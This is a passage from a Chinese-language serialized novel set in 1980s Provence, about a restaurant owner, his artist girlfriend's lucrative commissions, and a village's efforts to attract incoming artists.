但别的村子里种其他作物的村民已经知道这次的受灾情况了。 卢尔马兰政府连戈尔德每个月来了多少游客都知道,不会不了解这些重要的农业信息。 虽然葡萄藤还没出土,但他们已经做好了最坏的准备。 一股暖流从罗南的心底涌出。 原来政府没有忽视被寒潮影响的农夫们. 布兰科温暖的声音把罗南牢牢的包裹其中,让罗南的心更暖了: “未来卢尔马兰一定会越来越好,这个好是全方位的.我们不会放弃和忽视任何一个村民的利益。” 希尔维用坚定的语气对罗南保证: “只要申请到预算,我们会马上公布寒潮补偿方案,请你相信.我们会尽最大的努力,帮助农夫们做好灾害之后的过渡和重建。” 生活在卢尔马兰,让罗南感受到无比的幸福和安心,他既激动又感激的对这一屋子人说: “谢谢你们.谢谢你们大家。” 从政府出来,罗南立即赶回餐厅。 克劳德说最近有许多游客来卢尔马兰,而且都是奔着罗南餐厅来的。 那这个月的餐厅生意肯定非常不错吧? 罗南的习惯是每个月底和母亲对一次账,不过他清楚记得,最近不管再晚回餐厅里面的人都不少,想来2月的生意一定是不错的,只是不知道‘好’到什么程度了。 没想到这么一问,得到的结果吓了罗南一跳。 “估计这个月的利润能赶上去年10月份。”冯珍没有什么波澜的说。 去年10月份餐厅开业那个月利润直接超过了10万法郎,但后来因为天气和各种各样的原因,始终在3-5万的范围内上下波动。 居然有那么吗? “生意这么好,为什么那天大家聚餐聊到寒潮、工作和收入时,你只是说‘餐厅的情况还可以’?这哪里是还可以,这明明是超级好啊。”罗南不解的问母亲。 不仅仅是不理解这么大的好消息为什么不主动跟他说,还不理解母亲的语气为何如此平静。 冯珍在面前挥了两下手,声音低沉下来: “那天大家说的都是自己怎么怎么不好、怎么怎么受影响,我说我们多么多么好.多拉仇恨啊,万一大家心里不平衡了怎么办?都是朋友,我不得考虑大家的感受?” 罗南意外的后仰了下脑袋: “妈妈,你现在居然懂得先过脑子再说话了.你以前不是这样的。” 罗南的父母有着鲜明的性格差异。 罗天海想的特别多、特别细,但他不爱说话。 妈妈冯珍是另外一个极端,没心没肺,嘴走在脑子前面,说话没有个把门的。 冯珍撇嘴不满的说: “就你和你爸爸一直成长,我原地踏步?你爸爸在后厨不怎么出来,咱们家这么大的买卖就靠我一个人在前面撑着我不得多考虑考虑?” 罗南被母亲的话逗笑了,用开玩笑的语气问: “咱们家多大的买卖啊?” 你说的好像咱们家有‘良田万亩’一样。 冯珍咂巴了一下嘴,敲着账本说: “冬天马上就要过去,旅行季要开始了,2月份利润就10万法郎了,等天气暖和起来、后院打开,一个月利润轻轻松松上二三十万,现在一个月才10万的利润,我有什么好骄傲的啊?” 罗南被母亲说的哑口无言,只能给她伸出一个大拇指: “未来咱们家这个大买卖就靠你和爸爸了。” 可能是由于和母亲聊了一次餐厅的2月收入,也可能是因为白天和布兰科等人聊到了戈尔德的艺术展。 晚上罗南躺到床上,总结了一次戈尔德之行的收获。 身份、名气和地位上的收获一定是最明显的,罗南认为那可能比‘相思鸟’带来的直接收入还要巨大。 这次活动之后,他和佐伊毫无疑问的成为了普罗旺斯名人,也是其他人口中的‘大人物’了。 尤其是罗南。 试问在普罗旺斯有几个艺术品可以和‘国宝’扯上关系呢? 说句不好听的,只靠一个‘相思鸟’就够罗南在普罗旺斯混一辈子! 不过罗南肯定不会满足于此。 在艺术界带来的巨大荣誉,可以非常有效的帮助他施行粉红酒庄计划。 同时,由于罗南的影响,卡福的‘销售’团队在戈尔德收集到了一大批潜在的‘高端’手工艺客户。 无论未来‘卢尔马兰手工艺合作社’向哪个方向发展,他们在短时间内都可以找到精准的客户目标。 而通过巴蒂的描述,罗南得知,编织订单的数量这个月又涨上来了。 不过戈尔德给罗南带来的经济提升不仅仅体现在编织订单上。 餐厅的收入提升也离不开戈尔德发生的一切。 与此同时,罗南还多了一项赚钱的本事。 “相思鸟”拍出去的37万多法郎至少能给罗南带来20万法郎的收入,如果‘国宝’艺术品的政策申请下来,这个数字有可能会更高,因为可以“减税”一半。 以前罗南的收获季是冬天松露采摘的这几个月。 而未来的每一个月份都是罗南的丰收季——餐厅有源源不断的客流,手工业务拓宽了渠道,他还可以通过制作艺术品赚钱。 1987年,罗南的经济情况必定会像坐火箭一样向上涨涨涨涨涨。 但是—— “但是布兰科说,我、佐伊和巴蒂在在戈尔德带来的连锁反应还远远没有结束,还能有哪些方面呢?”罗南翻了个身,脸上露出了期待的神情。 第344章 慷慨的帕特里西亚 帕特里西亚小姐已经在戈尔德玩了足够多的时间,要回艾克斯上课了。 罗南和佐伊赶在她离开之前去了一次戈尔德,当面感谢这位在系列活动中对他们帮助最大的‘朋友’。 没错,帕特里西亚强烈要求佐伊不要把她当作一个‘藏家’对待,而是视其为朋友。 “你和帕特里西亚小姐之间的友谊比马里尼和加布里埃尔更加让人感动。” 由于戈尔德之行收获颇丰,近期罗南的心情格外不错,一路上不停和佐伊开着各种玩笑。 不过这句话.不能算是玩笑。 加布里埃尔给罗南讲述过,为了帮助那位不得志的雕塑家好友马里尼,他在拍卖会买上‘挥金如土’的故事。 但每次他只能挥几万法郎。 而这次帕特里西亚小姐为了朋友佐伊直接挥出去了大几十万法郎如果加上朋友的男朋友那份达到上百万法郎了! 佐伊的三个艺术品不涉及‘国宝’认证,税费很好计算。 而且帕特里西亚小姐痛快的交付了所有的钱并没有分期,所以佐伊这次去戈尔德还有一个任务是去拿属于她的支票。 如果罗南没有算错的话,那张支票上写的数字应该是近40万法郎。 佐伊这一次在戈尔德的收入一点都不比罗南少! 即使在房价飞涨的1987年,这张支票也可以让她买一所卢尔马兰位置不错的房子了。 佐伊的心情当然也非常好了。 赚了那么多钱当然开心! 她一路上说说笑笑,即使想到那个即将开始的糟心订单也没有那么痛苦了: “帕特里西亚小姐是个非常可爱的女孩子,我相信这次的合作会愉快许多,也许不会像想象中那么糟糕。” “你跟她说,你要接那个订单了吗?”罗南笑着问。 佐伊摇头: “没有,我打算今天见面的时候当面说,顺便问问具体情况,万一那个作品的需求我完全无法满足呢?” 之前有一周多罗南每天都会来戈尔德,对这里的熟悉程度直逼梅纳村,今天一驶入戈尔德的鸟巢村范围,他就咕哝了一句: “戈尔德的游客少了许多,看来活动要结束了。” 原来戈尔德的路两侧停的都是车,现在村口附近的道路已经空了,罗南没有特意去关注过戈尔德活动日程,但是想必好看的展览已经结束了。 佐伊看着窗外说: “我认识的许多艺术家朋友也给我打电话,说他们要离开了。” 不止是帕特里西亚小姐要回家,许多人都要结束这次艺术之旅回去继续生活了。 看着远处的戈尔德教堂尖顶,罗南忍不住感慨道: “我会怀念这疯狂的一个月。” 佐伊撑着脑袋,语气呢喃的说说: “我也是这一个月太梦幻了,像一场梦似的。” 有些梦会醒来,有些梦永远都不会醒来。 当罗南和佐伊去到帕特里西亚小姐下榻的酒店,发现这次居然有十几个人与她同行时.他们仍然觉得能和这样的富家女成为朋友,是一场很难接受的梦境。 不过帕特里西亚小姐的热情和平易近人,又让他们找回了一点现实世界的影子。 “佐伊.这不会是我们最后一次见面吧?”帕特里西亚才刚刚见到佐伊,就开始摆出一副‘诀别’的样子,一整个人都萎靡了下去。 “当然不会了。”佐伊像大姐姐一样安慰她,“我也经常会去艾克斯,如果你时间允许,我们还可以约着见面。” 帕特里西亚幸福的睁大眼睛: “真的吗!真的吗?我这就把我家的电话和地址留给你!” 帕特里西亚去拿纸和笔的时候,佐伊用口型对罗南说: “好可爱啊,拒绝她我真的不忍心。” 罗南用鼓励的眼神看回去,支持佐伊的决定。 等帕特里西亚留好联系方式,佐伊主动问道: “你之前说的那个订单是什么情况,可以和我说说吗?” 帕特里西亚的眼睛又瞪大了一圈: “你改变主意了?” 虽然佐伊心中的天平已经倾斜,但她并没有丧失理智,冷静的回: “我想先了解一下情况。” “好啊好啊,那我给你讲讲。”帕特里西亚眼神炙热的说,“我有一个好朋友要过生日了,她爸爸是做船只生意的,她从小就向往大海,我想送给她一个海鸥或者其他和海洋有关动物的艺术摆件,我第一个就想到了你,你的作品她一定会喜欢,我们两个的很多喜好都很相同!” 听到做船只生意,罗南想到了什么,没有忍住笑了一下。 佐伊和帕特里西亚同时看向他,不明白他在笑什么。 罗南尴尬的摸了一下鼻子: “抱歉,我想到了桑松女士听说她的第七任丈夫是马赛的老船王。” 帕特里西亚也跟着笑出声来,而且越笑声音越大。 似乎觉得自己的举动有违‘淑女’之道,她用手帕捂嘴,断断续续的说: “嗯,其实我这个朋友的爸爸是马赛新船王.今年年底她就要喊桑松女士奶奶了。” 罗南吓得不敢笑了,和佐伊对了一个眼神。 上帝,原来是给新船王的女儿做生日礼物吗? 帕特里西亚笑了好久才停下来,并不了解实际情况的她努力争取道: “以往每年给朋友们送生日礼物都让我无比头疼,但我现在想到了一个好办法,送给她们我喜欢的东西就好了呀,所以佐伊,如果你为了准备结婚无法接我这个朋友的生日礼物,我还有一个很好的朋友是年底过生日你可以做那个订单吗?” 罗南好奇的问: “您这位朋友也喜欢动物?” 帕特里西亚猛猛点头: “她爸爸是卡马尔格马王,她家里有3000多头卡马尔格马,我想送给她一个马的艺术品。” 这次连佐伊都忍不住摸鼻子了。 一头卡马尔格马的售价在5000法郎-20000法郎之间。 3000多头卡马尔格马是多少钱? 那之后,帕特里西亚又例举了好几个有送生日礼物需求的朋友。 听着她的描述,罗南只有一个想法——普罗旺斯旅游业巨头女儿的朋友们,也是普罗旺斯各个行业巨头的孩子。 普罗旺斯果然是一个处处充斥着‘圈子’的地方啊。 帕特里西亚讲话的过程中,罗南不停用眼神提醒佐伊: 接啊,必须得接! 一个富家女就能买你几十万法郎的东西,一旦你的作品打入了他们的圈子.咱们的孩子说不定也有资格进入他们的圈子了! 为了下一代也得把这个订单接下! 面对心思单纯的帕特里西亚,佐伊没有要瞒她的打算,把自己只有3月中旬之前有时间做订单的情况悉数说了出来,并告知对方,她会尽量把东西做好,但时间确实没有上一次做美人鱼那么充裕了。 帕特里西亚兴奋的差点把手里的红茶弄洒: “够够够,时间绝对够!我爸爸那个人比较挑剔,做什么都要求做到最好,但我不是那样的,你能接我就很开心了,我绝对不会干涉你的想法!” 就这样,双方较为顺利的达成了合作的意向。 而帕特里西亚的‘慷慨’也让佐伊没有后悔自己的决定——她给出这个生日礼物10万法郎的报价。 有了这10万法郎的进账,佐伊这次戈尔德之行的收获都可以在‘金三角’买房子了。 帕特里西亚拿佐伊和罗南当朋友对待,执意留下他们一起吃了一顿午饭。 在饭桌上,罗南抱着试一试的心态问道: “帕特里西亚小姐,您认识一位叫阿斯特丽德的女士吗?” 布兰科都能讲出‘城堡酒庄’,说明卢尔马兰政府对粉红酒的研究非常深入。 而罗南之前给自己留下的两个‘作业’还迟迟没有进展。 一个是去学习优秀酒庄的的运营经验,第二个是去了解博物馆-香水这条成熟的商业模式。 而第二个学习任务,绕不开阿斯特丽德女士的身份。 罗南猜测,她的家族就是用博物馆-香水这条成熟的商业模式赚钱的。 帕特里西亚小姐的高端人脉资源到了恐怖的地步,她会认识阿斯特丽德吗? 帕特里西亚的小脸上露出了迟疑的表情,显然对这个名字并不熟悉。 不过她想了几秒后,突然拍了一下手: “我想起来了,福克斯家族似乎有一个叫阿斯特丽德的女士!” “福克斯家族?”罗南惊喜的问,“那是做什么的?” 帕特里西亚毫不吝啬的说出自己对这个家族的了解: “这个家族非常古老,起源自哪里我并不清楚,但他们从16世纪初就开始做香水生意了,因在拿破仑时期为皇后定制了一款帝王薰衣草香水而闻名普罗旺斯,二战期间曾为法国军队供应抗菌薰衣草精油,到了近代,他们的商业版图越来越大,为娇兰和阿蒂仙等品牌提供香水定制原料。” 突然,她顿了一下。 这位普罗旺斯旅游业大亨爱女的脸上,首次出现了羡慕的表情: “1968年,福克斯家族和香奈儿签约,成为N°5和N°19等香水核心原料供应商这个家族真是太厉害啦!” 第345章 突然涌入的艺术从业者 帕特里西亚小姐口中关于福克斯家族的信息和罗南对阿斯特丽德的了解完全吻合——阿斯特丽德家是做香水生意的。 不过她只是从他人的口中听到过这个名字,给不到罗南更多关于阿斯特丽德有用的信息。 但罗南的目的并不是弄清楚阿斯特丽德的故事,而是她背后做香水的家族。 “福克斯家族是不是开了香水博物馆?”罗南更加期待的问道。 这次帕特里西亚没有迟疑,不假思索的点头: “对的对的,福克斯家族在格拉斯和巴黎都开设了香水博物馆,还有对外开放的香水工坊。” “格拉斯嘛.”罗南无意识的呢喃。 普罗旺斯有许多以‘xx之都’命名的地方或城市,例如阿普特,又例如鲁西永。 这其中大部分都是当地人自己起的,但格拉斯‘香水之都’的名号应该是世界范围内认同度最高的。 格拉斯是法国毫无疑问的香水中心,工业革命后世界上第一份合成香料是在这里诞生的。 同时格拉斯也是普罗旺斯非常重要的一个旅游胜地——五六月份的玫瑰花、七月的薰衣草、八月的茉莉从五月到九月,格拉斯会吸引几百万来自世界各地赏花的游客。 帕特里西亚小姐给到的信息让罗南兴奋不已,他终于找到突破口了。 罗南决定近期找个时间去一趟这个‘世界香水之都’,去学习一下阿斯特丽德口中在普罗旺斯存在了几百年的成熟商业模式。 离开帕特里西亚小姐的酒店,佐伊去组委会取拍卖会所得的支票,罗南意外发现属于他的那一张支票也可以取走了,只是‘国宝’认证申请的结果还没有出来,暂时无法报税。 “我记得上次说,一周左右就可以得到结果?”格拉内博物馆留在戈尔德的工作人员也已经离开,罗南只能询问组委会的工作人员。 工作人员对情况也不是很了解,只是告诉罗南: “你应该有格拉内博物馆的联系方式吧?具体情况可以问一问他们。” 罗南对工作人员表达了感谢。 歌迪亚有格拉内博物馆的联系方式,他打算回去再等等消息如果一周后还没结果就去问一问。 从组委会出来,佐伊看着罗南手里那张28万法郎的支票,‘眼馋’的说: “如果‘相思鸟’的国宝申请通过,将会直接减免50%的个人所得税,再加上对35岁以下艺术家的限免额度和地方元素税费减免等等有可能只用交增值税了。” 罗南笑着弹了一下手里的支票: “在普罗旺斯做艺术家真是幸福啊。” 如果在其他地区,这张28万的支票实际能落到艺术家手里的钱大概只有10万出头,因为法国个人所得税的上限是60%。 佐伊开心的挽起罗南的胳膊: “走,我们去消费。” 两个人今天都拿到了支票,而且是面额这么大的支票,必须要买点东西庆祝一下。 罗南‘啊’了一声,看了看手腕上的表,不确定的问: “要去艾克斯买衣服吗?” 是不是有点晚了? 佐伊脚步轻快的去往停车的方向: “不买衣服,未来一个月我应该没有机会出门,我们去古尔村买白兰地,为我的订单存点货。” 罗南宠溺的点头: “好。” 从戈尔德回卢尔马兰要路过古尔村。 罗南顺路把车开往巴黎老乡所开的酿酒合作社,挑选了几箱果味白兰地。 佐伊今天已经和帕特里西亚小姐沟通好的了订单的需求,虽然帕特里西亚小姐说她不会干预佐伊的想法但万一她父亲图拉姆先生掺合进来了呢? 买点好喝的白兰地有备无患! 罗南和佐伊还给朋友们带了一些,上次买回来的那些高度酒,有几个朋友也觉得好喝。 下午回到卢尔马兰,罗南先把车开去皮埃尔家,给他送酒,不过在路上遇到了两个来卢尔马兰玩的游客。 “啊罗南!” 罗南刚一从车上下来就被认出来了。 “啊啊佐伊!!” 佐伊也得到了同样的待遇。 能认出他们两个的人,一定是去戈尔德看过艺术展的游客,罗南和佐伊和他们聊了一会,发现这是几位新人艺术家。 分别时,罗南欢迎他们有机会再来吕贝隆、再来卢尔马兰。 “我们不打算离开吕贝隆了。”其中一个人兴奋的说。 罗南意外的问: “你们打算留下?” 那游客点头道: “吕贝隆许多村子的艺术气息都非常浓厚,那是我们现在居住城市所不具备的,参加完戈尔德的艺术活动,我们便开始在吕贝隆做考察,想要搬来这里生活.卢尔马兰也是备选之一。” “那很好啊,欢迎。”佐伊既惊喜又开心的说。 艺术家很需要氛围,搬来吕贝隆一定会对这几个人有所帮助。 罗南的反应无比热情: “其实卢尔马兰的艺术气息也不错,有很多艺术家在这里生活,等我送完东西带你们在村里转转,之后去我的餐厅坐一会?那里每天都有许多艺术家交流。” “好啊!” 能让两位大艺术家做导游,这几名新人艺术家当然不会拒绝。 但佐伊看罗南的眼神变得奇怪起来。 罗南什么时候变得这么热心了? 在戈尔德遇到‘粉丝’,他都是能躲就躲。 罗南突然对佐伊眨了下眼睛,把佐伊搞得更疑惑了。 给皮埃尔送完酒,罗南和佐伊一起带着游客在卢尔马兰参观。 路上不免会聊到卢尔马兰的居住环境。 罗南从不同角度客观的给他们介绍了这里不算丰富但足够的基础配套设施,并不断强调这里的艺术氛围,提升这几位游客的好感度。 佐伊知道罗南希望卢尔马兰能吸引来更多的艺术家,于是从原住民的角度帮他补充,让这几个人更加全面的了解卢尔马兰。 卢尔马兰是这几名艺术家的备选村庄之一,了解完信息,自然会问起关于租房和买房的信息。 “吕贝隆的房价这两年涨了许多,每天都有可能是不同的价格,不过卢尔马兰的房价还算友好.如果你们想了解更具体的信息,不如我给你们介绍一个对卢尔马兰非常熟悉的房产中介?”罗南笑着说。 那几名游客马上点头同意。 本就是来考察的,当然是了解的越详细越好。 佐伊终于弄清楚了罗南热情的原因。 原来这个家伙不止把她时刻放在心上,还把她的家人时刻放在心上——他没有忘记路易的‘工作危机’。 罗南没有留给佐伊太多感动的时间,把她拉到一边小声说: “戈尔德艺术活动进入尾声,近期一定会有许多艺术家或艺术爱好者被这里的氛围所影响,想要搬到吕贝隆生活这些人都是路易的潜在客户。” 在吕贝隆做房产中介竞争压力变大了? 那我们就多给路易介绍点客户! 他看了一眼表,问佐伊: “这个时间路易回家了吗?” 佐伊轻轻拉了一下罗南的手,转头去了家的方向: “你先带这几个人去餐厅,我马上带爸爸过去。” 现在已经5点了,而路易每天3、4点就会回家,这个时间他应该正坐在沙发上看电视呢。 然而让佐伊意外的是,她回到家并没有看到路易。 等了五分钟无果,佐伊赶紧去往罗南的餐厅。 那几个游客还等着呢,爸爸不在也不能让他们干等要赶紧过去通知他们。 没想到她一推门,居然看到路易在餐厅里坐着,而他对面就是刚刚的那几名游客。 佐伊去问站在收银台后面的罗南: “怎么回事?你们在路上遇到爸爸了?” 罗南笑着摇头: “说出来你可能不信.我们进来时路易就在这里了,而且正在接待有买房需求的顾客。” “啊?”佐伊疑惑的瞪大眼睛,“爸爸把顾客约到这里了?” 不对啊.爸爸都是把顾客约去他办公室,因为那里有许多房子的资料,他说这样可以提高合作几率。 罗南用下巴指了一个方向,示意佐伊看过去: “你看看那里就知道了。” 维埃里每天雷打不动要去罗南的餐厅帮一个多小时忙,即使高中会考在即也没有改变这个习惯。 而且他每天来都会和伊莎贝尔抢‘迎宾’的活儿,两个十几岁的年轻人每天不拌几句嘴就像这一天缺点什么似的。 不过最近几天,维埃里不和伊莎贝尔抢活儿了,他会主动去大堂找点事情做。 就像罗南分析的那样,戈尔德系列活动进入尾声,被这次活动影响想要搬来吕贝隆的艺术从业者变多了。 又由于罗南、佐伊和巴蒂在戈尔德的许多场合都不惜余力的宣传卢尔马兰.导致卢尔马兰成为了这批艺术从业者排名前几的选择,连带着本就艺术家扎堆的罗南餐厅里,艺术含量更高了。 这些有‘搬家’需求的人来到餐厅,自然会咨询已经搬来卢尔马兰的艺术,家关于卢尔马兰方方面面的问题。 但有些问题太专业,已经搬来的艺术家们也回答不上来,这个时候就要找人求助了。 每当他们想要找个好心的本地人解惑,一抬头总会发现一个帅气的小伙子已经等在他们身旁。 维埃里会耐心的给这些艺术从业者回答关于卢尔马兰的问题,而且每一次离开前,他都会礼貌的说一句: “如果需要,我可以把卢尔马兰最棒的房产中介介绍给你他可以满足你所有的需求。” “好啊好啊,那真的太感谢了!” 收银台后方。 佐伊倚偎在罗南怀里,看着维埃里不停的给大家‘推销’路易,心情复杂的不知道要说什么。 既有感动,又有愧疚,还有欣喜和许许多多的情绪。 罗南捏了一下佐伊的肩膀,同样语气复杂的说: “我说过,维埃里心里绝不只有足球。” 第346章 般配,真般配! 身为‘局外人’的罗南和佐伊心情已经复杂成这个样子。 ‘局中人’路易的心情更加复杂了。 虽然路易在专业的和对面有买房或租房需求的客人聊卢尔马兰的房子和环境,但他的余光始终会注视着维埃里的一举一动。 维埃里在短短的一个小时内,向6、7桌顾客介绍自己,而且路易清楚的听到,维埃里介绍自己时说的是——卢尔马兰最棒的房产中介。 这种被自己儿子、尤其是父子关系不太好的儿子当众肯定的感觉太让人感动了。 而且现在正处于路易的事业困难时期。 在最难的时候,伸出手拉自己的人居然是维埃里 不行不行,不能想了。 路易一想到这里情绪起伏更大了! 事实上,维埃里从三天前就开始给路易介绍有在卢尔马兰买房或者租房需求的顾客。 路易不知如何开口对儿子说感谢,维埃里又不爱说话,导致周围没人发现这个情况罢了。 但不说,不代表真的没有话想说。 长时间在这种剧烈的情绪影响下生活,路易已经憋不住了。 今天,他必须和儿子好好聊一聊,表达他的感谢。 5点多,外村的游客陆续离开卢尔马兰,再晚就找不到出去的车。 而这个时间,维埃里也要回家写作业了。 路易和最后几个顾客交换了联系方式后,走到维埃里身边,主动邀请道: “一起回家吗?” 维埃里摇头: “我今天晚一点走,罗南的爸爸要给伊莎贝尔他们培训新菜单,我打算听一听再回去。” 路易打算和维埃里独处的机会泡汤了,有些失望的‘哦’了一声。 维埃里误会路易这是不满他晚回家,指着后厨说: “我征求过妈妈的同意,不过如果你想我早点回去学习,我现在就走。” 路易连连摇头: “不不不,我不是这个意思,你已经长大了,做什么决定不需要征求我们的同意。” 说完,路易突然意识到,从圣诞节到今天才不过短短的一个多月时间,他对维埃里的态度变化这么大了吗? 从吃迷迭香雪泥都要骂他两句‘幼稚’,到现在鼓励他勇敢的做自己的决定. 路易开始后悔,如果他早一点‘觉悟’。 也许他们的父子关系不会这么差。 说不定维埃里也不会出现这段令人难忘的‘青春期’了? 维埃里在餐厅里有许多事情要做,他既是服务员,又可以收银,餐厅里各个角落都会出现他的身影。 路易想要找机会和儿子‘说说心里话’,还想和他多亲近亲近,于是也找各种借口追着维埃里满餐厅的移动。 但全卢尔马人都知道——路易有一种神奇的‘易闯祸’体质。 看着他‘四处奔波’,从收银员,到服务员,再到后厨都要担心死了。 每一个见到他的人,都会笑着说一句: “路易,你去坐着休息吧,这里不需要帮助。” 路易倒是没有什么太大的反应,该干什么干什么,但维埃里忍不住了,回头皱着眉头对要跟他一起收拾桌子的父亲说: “爸爸,你能不能不要再跟着我了?” 路易先是一怔,随即嘴硬的说: “我没跟着你啊,我就是想要找点事情做。” 路易已经断了让维埃里做房产中介的念头。 上帝,这个孩子的沟通能力怎么能这么差! 我不要面子的吗? 维埃里用少年特有的单纯语气说: “我知道你想要干什么、说什么,但那不需要。” 他直视父亲的眼睛: “你不需要感谢我。” 说话直接的维埃里却有着异于常人的观察能力。 但这句话直接把路易好不容易鼓起的勇气砍下去了一半。 维埃里一边利索的干活,一边语气淡淡的说: “罗南让我在高中会考之前找到喜欢做的事情,我觉得我很喜欢做‘拉客’,给你介绍客户也是拉客的一种,我只是在锻炼自己的能力。” 虽然被无情的拒绝,还被直接戳穿了心事,但路易还是倔强的跟着维埃里一起擦桌子,只不过不敢再‘主动’了: “罗南的建议是对的,你应该培养自己的爱好。” 在收银台后面的佐伊看的急死了,不停的嘟囔: “这两个人的嘴怎么这么硬啊!” 收银台果然是餐厅里视野最棒的地方。 她全程目睹了这对父子的互动,恨不得冲过去对他们喊: “承认对对方的关心和爱能死啊!!” 同为观众的罗南安慰她: “男人,尤其是父子之间互相表露内心其实是很难的,给他们点时间吧,现在已经比几个月前好太多了.而且说什么不重要,重要的是如何做不是吗?” 女人没有男人那么理性,佐伊抱着胸,胸膛剧烈起伏起来。 突然,她拍了一下收银台的台子: “我每天都要来这里坐两个小时,倒是要看看这两个人能憋到什么时候。” 罗南无奈的耸肩。 不过他也很好奇。 这对父子的关系什么时候才能彻底和解呢? 路易曾经对维埃里说过——只靠专业和耐心就能赚到钱的时代过去了。 新的时代到来,必然要配合着做出新的改变。 随着戈尔德艺术活动的举办和卢尔马兰三杰在戈尔德对卢尔马兰的宣传,戈尔德活动进入尾声后,卢尔马兰迎来了第二波‘移民狂潮’。 现在路易根本不需要出去和同行抢客户,只需蹲守在罗南的餐厅里,就能遇到一个又一个的意向客户,有的时候他都会忙到应付不过来。 罗南当然欢迎大量的艺术家搬来卢尔马兰生活,这对他百利无一害,而一个优秀和资深的房产中介可以留下更多的艺术家,于公于私路易都是最佳的选择。 但只靠一个维埃里努力是远远不够的,他每天只能在餐厅里出现一两个小时。 某一天,罗南特意把服务员们叫来,告诉她们如果有艺术家寻求帮助,想要了解一下卢尔马兰就把路易介绍过去。 而服务员们的反应让罗南大吃一惊。 “我们几天前就已经开始这样做了!” 罗南意外的问: “维埃里让你们这样做的?” 女孩子们你看看我,我看看你,突然大声笑了起来: “维埃里那个‘闷葫芦’平时都不怎么跟我们说话,怎么会是他啊,是伊莎贝尔!是伊莎贝尔让我们这样做的!” 罗南的表情愈发精彩起来。 每到维埃里来帮忙的那几个小时,佐伊都会想办法挤出时间来餐厅的收银台后面观察他和路易的互动。 这一天,罗南把从服务员们嘴里听到的消息告诉她。 佐伊的表情比发现维埃里给爸爸介绍客户还夸张: “你是说,伊莎贝尔喜欢维埃里?” 罗南平摊双手: “我猜他们应该是互相喜欢。” 佐伊惊讶的连续说了好几句‘上帝’。 正巧伊莎贝尔路过收银台,佐伊把她叫下来,感激的说: “谢谢你对维埃里的帮助、对我爸爸的帮助。” 伊莎贝尔错愕了好几秒,快速跑开: “跟维埃里没关系!全村都知道路易是卢尔马兰最棒的房产中介,那些人问房子的问题当然要把路易介绍过去了!” 伊莎贝尔跑开后,佐伊皱着眉毛说: “居然有跟爸爸、维埃里一样嘴硬的人。” 罗南大笑着对佐伊说: “这不是和维埃里更般配了?” 第二轮卢尔马兰移民潮直接将路易拉出了困扰了他许久的‘泥沼’,让他焕发了更加耀眼的第二春。 佐伊告诉罗南,路易现在比之前的巅峰时期还要忙碌,有一天晚上他开心对全家宣布,这个月的收入有可能会比之前翻几翻。 但路易绝不是第二轮卢尔马兰移民潮最大的受益人。 最近路过卢尔马兰政府的村民,总能听到大楼里传出男男女女大笑的声音,偶尔其中还夹杂着尖叫。 时间长了村民们都传,说政府里面有人疯了! 没错。 政府里的确有人疯了,而且是好几个。 他们全部开心的要疯了! 第347章 恐怖的米切兰杂志社 罗南的中餐厅人气火爆不是一天两天的事情了,自从去年10月开始,那就是卢尔马兰最热闹的地方,大量艺术家和艺术爱好者扎堆聚集于此。 但让人意想不到的是,卢尔马兰政府在2月也迎来了一波‘探访’高潮。 卢尔马兰第二批移民狂潮和去年年底来的第一批人有着明显的不同。 去年来的那批人全部是名不见经传的新人艺术家。 佐伊以普罗旺斯新晋艺术家代表的姿态,聚齐起了一部分和她一样想要努力闯出一番天地的新人大家以佐伊为中心互帮互助、努力创作。 而在2月戈尔德艺术活动后搬来卢尔马兰或者有意向搬来卢尔马兰的人群就相对复杂得多了。 其中当然有想要追寻更浓厚艺术气息而来的新人艺术家,也有想要换个环境感受艺术圣地的知名艺术家,还有从事艺术相关工作的商人和爱好者。 人群结构复杂,导致他们来卢尔马兰的需求也变得复杂,有些需求路易都无法给出明确回复,要带他们来咨询政府的态度。 在过去的短短一周多时间内,政府平均每天都能接待十几波来咨询的艺术从业者,所咨询的问题也是千奇百怪的。 “村外土坡上那几个废弃的农舍可以打通、重建成艺术工作室吗?” “房子的外墙颜色太丑了,如果我买下来,可以刷成鲜艳的颜色并在上面涂鸦吗?政府不会干预吧?” “中心老教堂广场对外出租吗?如果我夏天想举行小型展览,卢尔马兰哪里有适合的场地?” “兴办艺术学校,政府有什么扶持政策吗?” 面对这些千奇百怪的需求,卢尔马兰政府的态度只有一个——全部支持、完全开放! “无数成功的例子证明,艺术家的涌入不仅可以改变村庄的文化基因,还可以改变村庄的经济结构,旅游业、房地产、手工业一系列行业都将被带动起来,让我们减少对农业的依赖,同时让卢尔马兰与普罗旺斯接轨、与世界接轨,后续的政策都将向这个方向倾斜。” 政府例会上,布兰科不停强调艺术家对卢尔马兰的重要性。 希尔维又控制不住想要尖叫了: “我真不敢相信,卢尔马兰居然吸引来了这么多艺术爱好者,这次我们向沃克吕兹省申报的资料将更加有力了!” 艺术家、艺术工作室、艺术学校、小型展览、手工作坊.这些涌入的艺术从业者给卢尔马兰带来了太多的惊喜和亮点。 而这些惊喜和亮点也一定可以打动把旅游业看做重中之重的沃克吕兹省领导们。 大家全部沉浸入了有极可能会申请到更多资金支持的喜悦中,并开始畅想拿到更多资金后还可以为提升卢尔马兰做些什么。 但布兰科冷静的提醒大家: “现在还不是庆祝的时候,罗南、佐伊和巴蒂为我们带来了这么多宝贵的艺术资源,我们要更加珍惜它们,接下来的工作更不能出错了,我们从那些明星村子上吸取了成功的经验,也不能忽视它们犯下过的错误。” 大家安静下来,等待布兰科布置接下来的工作。 “梅纳村为了快速吸引艺术家的到来,在70年代末接连颁布了十几个吸引人才的政策,它们确实因此受益,但也出现了巨大的麻烦——梅纳村艺术同质化太过严重,艺术商铺中70%都是画廊,给游客带来了许多不好的体验。” 布兰科看着希尔维说: “无论是未来的商业街招商,还是这次‘移民’狂潮,我们都要注意艺术品类的多元性,尤其之前我们已经制定了卢尔马兰未来几年要走小众和高端的发展路线,要着重吸引和扶持小众工艺行业,例如编织。” 希尔维认真的说: “好的村长。” 布兰科又对克劳德说: “博尼约的艺术家社群出现严重的封闭圈层,和本地村民很难融入到一起,明明本村有工作机会,但年轻人外迁数字连年增长,这个现象非常不健康,你要从现在开始重视起这个问题.,避免犯同样的错误.如果有必要,找罗南聊聊,寻求他的帮助。” 克劳德郑重的点头: “好的,我会找时间和罗南聊这件事。” 又安排了四五个工作后,布兰科看着一屋子人说: “卢尔马兰的发展确实落后于其他村子,但正因如此,我们拥有了得天独厚的优势——无数前人的成功经验可借鉴,无数前人踩过的坑可规避,机遇就在我们眼前.现在正是全力冲刺、实现弯道超车的最佳时机,未来的卢尔马兰一定会是吕贝隆最耀眼的地方!” 2月中下旬。 